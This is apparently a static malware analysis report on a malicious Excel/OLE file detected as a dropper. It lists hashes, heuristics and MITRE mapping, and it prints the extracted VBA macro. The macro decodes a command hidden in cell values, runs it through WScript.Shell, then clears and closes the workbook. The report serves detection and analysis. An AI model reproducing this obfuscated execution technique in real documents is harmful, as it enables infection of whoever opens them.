Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e9880c5c608141c8…

MALICIOUS

Office (OLE)

77.0 KB Created: 2020-05-08 08:05:20 First seen: 2020-09-07
MD5: 308956deb06bb41db31f563fb59bbb2a SHA-1: 601e26e1ac40d37e6d93f54334bdf0b18582b40b SHA-256: e9880c5c608141c8ec12ce1a8d14652731583e4055f74ce2727afe8c3ea15cb6
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The script appears to construct a command string and then execute it using WScript.Shell, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent' further supports this dropper functionality.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7791910-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7791910-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
    For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
    formsa3
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
    For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
    formsa3
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1243 bytes
SHA-256: 2310782b55c1dcc727c34531557a12c27e9b9df5d18501ba1090fe6aed55d68b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "pay1, 3, 0, MSForms, CommandButton"
Attribute VB_Control = "print3, 2, 1, MSForms, Frame"
Sub formsa3()
Cells.Clear: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05"))
ActiveWorkbook.Close True: End
End Sub
Private Sub print3_Layout()
On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
formsa3
End Sub
Private Sub pay1_Click()
print3_Layout
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True